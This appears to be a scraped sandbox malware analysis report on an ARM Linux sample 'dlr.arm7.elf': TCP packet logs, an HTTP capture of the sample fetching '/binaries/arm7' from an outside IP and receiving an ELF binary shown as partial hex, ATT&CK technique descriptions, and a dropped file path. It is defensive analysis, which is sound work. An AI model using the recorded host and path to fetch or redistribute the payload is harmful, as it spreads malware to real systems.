Dec 28, 2024 21:12:00.312325954 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.431874990 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.431999922 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.434331894 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.436343908 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.436464071 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.436698914 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.445395947 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.445477962 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.446438074 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.454199076 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.454303980 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.454618931 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.463381052 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.463490963 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.464155912 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.472285032 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.472440004 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.476504087 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.481090069 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.481139898 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.482229948 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.565943956 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.566198111 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.571466923 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.596034050 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.596110106 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.598392010 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.712750912 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.832345009 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.832442999 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.832829952 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.836838007 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.836935997 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.838009119 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.845771074 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.845856905 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.847135067 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.854710102 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.854841948 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.855334044 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.863697052 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.866827965 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.866913080 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.868354082 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.875802994 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.875871897 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.876512051 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.952363968 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.952384949 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.953036070 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.974890947 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.974920034 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.978369951 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.232517004 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.352111101 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.352125883 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.352159977 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.356584072 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.356709003 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.358943939 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.365515947 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.365650892 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.367253065 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.374511957 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.374622107 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.375375986 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.383493900 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.383569956 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.386421919 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.392366886 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.392467022 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.395596981 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.401273966 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.401395082 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.403664112 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.478564978 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.478645086 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.505970001 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.506037951 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.506046057 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.552197933 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.671766996 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.671813011 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.673752069 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.786067009 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.905807972 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.905827999 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.907532930 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.911854982 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.912050962 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.913702965 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.926824093 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.927009106 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.928961992 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.941741943 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.941936970 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.945687056 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:01.956729889 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.956860065 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:01.957798958 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.033417940 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.033438921 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.039165974 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.259280920 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.378901958 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.378966093 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.379199028 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.386359930 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.386662960 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.387643099 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.401490927 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.401552916 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.404020071 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.416342020 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.416461945 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.417259932 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.431276083 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.431358099 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.433206081 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.446223021 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.446305990 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.448492050 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.461218119 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.461296082 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.468110085 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.498888016 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.498922110 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.499732971 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.536741018 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.536834002 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.537749052 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.552720070 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.587781906 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.587816954 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.587862968 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.632170916 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.716520071 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.836229086 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.836277008 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.836900949 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:02.843116045 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.843215942 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:02.845108032 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:04.767406940 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:04.887089968 CET	80	50654	83.222.191.146	192.168.2.13

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	50654	83.222.191.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 28, 2024 21:11:57.524300098 CET	46	OUT	GET /binaries/arm7 HTTP/1.0 Data Raw: 00 00 00 Data Ascii:
Dec 28, 2024 21:11:58.822820902 CET	712	IN	HTTP/1.0 200 OK Accept-Ranges: bytes Content-Length: 216266 Content-Type: application/octet-stream Last-Modified: Sat, 28 Dec 2024 17:38:39 GMT Date: Sat, 28 Dec 2024 20:11:58 GMT Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 28 00 01 00 00 00 94 81 00 00 34 00 00 00 4c 91 02 00 02 00 00 04 34 00 20 00 05 00 28 00 1e 00 1b 00 01 00 00 70 24 01 02 00 24 81 02 00 24 81 02 00 98 01 00 00 98 01 00 00 04 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 80 00 00 00 80 00 00 bc 02 02 00 bc 02 02 00 05 00 00 00 00 80 00 00 01 00 00 00 bc 02 02 00 bc 02 03 00 bc 02 03 00 3c 04 00 00 1c 56 00 00 06 00 00 00 00 80 00 00 07 00 00 00 c0 02 02 00 c0 02 03 00 c0 02 03 00 04 00 00 00 0c 00 00 00 04 00 00 00 04 00 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 0d c0 a0 e1 f0 df 2d e9 04 b0 4c e2 f0 af 1b e9 00 00 00 00 00 00 00 00 00 00 00 00 10 40 2d e9 2c 40 9f e5 00 30 d4 e5 00 00 53 e3 06 00 00 1a 20 30 9f e5 00 00 53 e3 1c 00 9f 15 0f e0 a0 11 13 ff 2f 11 01 30 a0 e3 00 30 c4 e5 10 40 bd e8 1e ff 2f e1 f8 06 03 00 00 00 00 00 bc 02 03 00 04 e0 2d e5 40 30 9f e5 00 00 53 e3 04 d0 4d e2 38 00 9f 15 38 10 9f 15 0f e0 a0 11 13 ff [TRUNCATED] Data Ascii: ELF(4L4 (p$$$<VQtd-L@-,@0S 0S/00@/-@0SM88/00S$0S// ---0_UH`p@-M` LPQp@@
Dec 28, 2024 21:11:58.822974920 CET	1236	IN	Data Raw: 03 10 a0 e3 00 20 a0 e3 ec 41 00 eb 04 10 a0 e3 02 2b 80 e3 04 00 a0 e1 e8 41 00 eb 04 c0 a0 e3 01 10 a0 e3 02 20 a0 e3 e0 30 9f e5 00 00 95 e5 00 c0 8d e5 27 50 00 eb 66 3c e0 e3 df 30 43 e2 ba 30 cd e1 02 30 a0 e3 0c 60 8d e5 b8 30 cd e1 63 28 Data Ascii: A+A 0'Pf<0C00`0c(00`@ Np@?Op@/ NcTbT[p& [e&
Dec 28, 2024 21:11:58.823018074 CET	1236	IN	Data Raw: ce 2f 42 e0 82 31 a0 e1 82 30 43 e0 0e 20 63 e0 04 00 52 e1 01 e0 8e e2 22 2c 8d e2 ba 0e c2 e1 10 e0 8d e5 2d 01 00 0a ec 36 9f e5 00 00 93 e5 8b cd 8d e2 a0 32 a0 e1 03 31 a0 e1 30 c0 8c e2 0c 30 83 e0 54 21 13 e5 1f 10 00 e2 52 21 a0 e1 01 00 Data Ascii: /B10C cR",-62100T!R!pC-20 10!R!V@TpZd&p00@>%0TW-
Dec 28, 2024 21:11:58.823030949 CET	1236	IN	Data Raw: 00 00 99 e5 6c 12 9f e5 10 20 a0 e3 00 30 8c e5 b9 4c 00 eb a0 fe ff ea 30 32 9f e5 8b 1d 8d e2 00 00 93 e5 2a 10 81 e2 02 20 a0 e3 01 39 a0 e3 73 4d 00 eb c9 fe ff ea 00 30 95 e5 0b 00 53 e3 00 20 a0 13 01 20 a0 03 0b 00 53 e3 04 00 53 13 6f fe Data Ascii: l 0L02* 9sM0S SSoRmpYQ1@ @$@`:=000-2$ <MLY1}YF@aB@
Dec 28, 2024 21:11:58.823179007 CET	720	IN	Data Raw: 1e ff 2f e1 20 07 03 00 24 07 03 00 28 07 03 00 2c 07 03 00 00 c0 51 e2 70 40 2d e9 43 00 00 da 10 41 9f e5 10 51 9f e5 10 61 9f e5 10 e1 9f e5 14 00 00 ea 00 10 94 e5 00 30 95 e5 00 30 84 e5 00 20 96 e5 00 20 85 e5 00 30 9e e5 00 30 86 e5 00 20 Data Ascii: / $(,Qp@-CAQa00 00 09#0 ! !!$" 00L\)\\L00 00 09#0 ! !!$" 0000
Dec 28, 2024 21:11:58.823190928 CET	1236	IN	Data Raw: 00 20 a0 e3 fe 4b 00 eb 01 00 70 e3 00 60 a0 e1 60 00 00 0a 42 1d 8d e2 14 10 81 e2 10 20 a0 e3 d2 4a 00 eb 01 00 70 e3 4c 00 00 0a 06 00 a0 e1 0a 10 a0 e1 08 20 9d e5 01 39 a0 e3 8d 4b 00 eb 01 00 70 e3 45 00 00 0a 06 10 a0 e1 00 20 a0 e3 03 00 Data Ascii: Kp``B JpL 9KpE =+=000@@0S2B-10 P0pB$ 0@~?p
Dec 28, 2024 21:11:58.823199987 CET	1236	IN	Data Raw: 0c 10 9d e5 b6 e9 cc e1 98 00 83 e5 01 cc a0 e3 01 30 85 e2 01 20 a0 e3 b0 10 ca e1 b2 20 ca e1 b4 c0 ca e1 b1 c0 c5 e1 b2 c0 c3 e1 00 60 e0 e3 01 80 a0 e3 01 00 76 e3 06 00 a0 11 8e 56 00 1b 02 00 a0 e3 00 10 a0 e1 00 20 a0 e3 ba 4a 00 eb 01 00 Data Ascii: 0 `vV Jp``B IpL 9IJpE N<+J<000@@0S2B-10 P
Dec 28, 2024 21:11:58.823211908 CET	1236	IN	Data Raw: 02 00 53 e1 fb ff ff 1a 1e ff 2f e1 f0 45 2d e9 00 80 52 e2 2c d0 4d e2 01 60 a0 e1 33 00 00 0a 00 00 50 e3 30 30 a0 03 00 30 c8 05 01 00 c8 05 2e 00 00 0a a0 3f a0 e1 0a 00 51 e3 00 20 a0 13 01 20 03 02 00 30 a0 e3 00 00 52 e3 27 30 cd e5 00 40 Data Ascii: S/E-R,M`3P000.?Q 0R'0@@` Pp5Q007004@PPEZ(0 -0"0BP0S 0SA0q0
Dec 28, 2024 21:11:58.823221922 CET	1236	IN	Data Raw: 01 20 a0 01 04 00 00 0a 00 20 a0 e3 01 20 82 e2 04 30 d2 e7 00 00 53 e3 fb ff ff 1a 00 30 a0 e3 00 00 00 ea 04 10 d3 e7 01 20 42 e2 01 00 72 e3 00 10 c3 e7 01 30 83 e2 f9 ff ff 1a 10 40 bd e8 1e ff 2f e1 f0 4f 2d e9 00 40 a0 e3 9d df 4d e2 03 80 Data Ascii: 0S0 Br0@/O-@M`I0B0200022PB08P#T@\0,#\&t@0`8BP8290tPDBTt
Dec 28, 2024 21:11:58.823501110 CET	1236	IN	Data Raw: f7 ff ff ea f0 4f 2d e9 b1 30 d0 e1 23 24 a0 e1 ff 30 03 e2 1c d0 4d e2 03 34 82 e1 03 90 d0 e5 14 30 8d e5 00 50 a0 e1 00 30 d5 e5 09 00 a0 e1 18 10 a0 e3 0c 30 8d e5 0b 4a 00 eb 00 b0 50 e2 1d 00 00 0a 00 00 59 e3 04 40 85 e2 10 00 00 0a 09 31 Data Ascii: O-0#$0M40P00JPY@10 0P@0P0 0Z 0fO/IpPPp`@0
Dec 28, 2024 21:11:58.942600965 CET	1236	IN	Data Raw: 48 00 8d e5 05 20 a0 e3 00 30 a0 e3 05 00 a0 e1 19 ff ff eb 04 10 a0 e1 4c 00 8d e5 1e 20 a0 e3 01 30 a0 e3 05 00 a0 e1 13 ff ff eb 04 10 a0 e1 64 00 8d e5 22 20 a0 e3 00 30 a0 e3 05 00 a0 e1 0d ff ff eb 04 10 a0 e1 5c 00 8d e5 1f 20 a0 e3 00 30 Data Ascii: H 0L 0d" 0\ 0` 0T! 0X 0 P0 h 0~Pl00

System Behavior

Analysis Process: dlr.arm7.elf PID: 5453, Parent PID: 5374

General

Start time (UTC):	20:11:56
Start date (UTC):	28/12/2024
Path:	/tmp/dlr.arm7.elf
Arguments:	/tmp/dlr.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report dlr.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/lzrd

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: dlr.arm7.elf PID: 5453, Parent PID: 5374

General

Chronological Activities

Linux Analysis Report
dlr.arm7.elf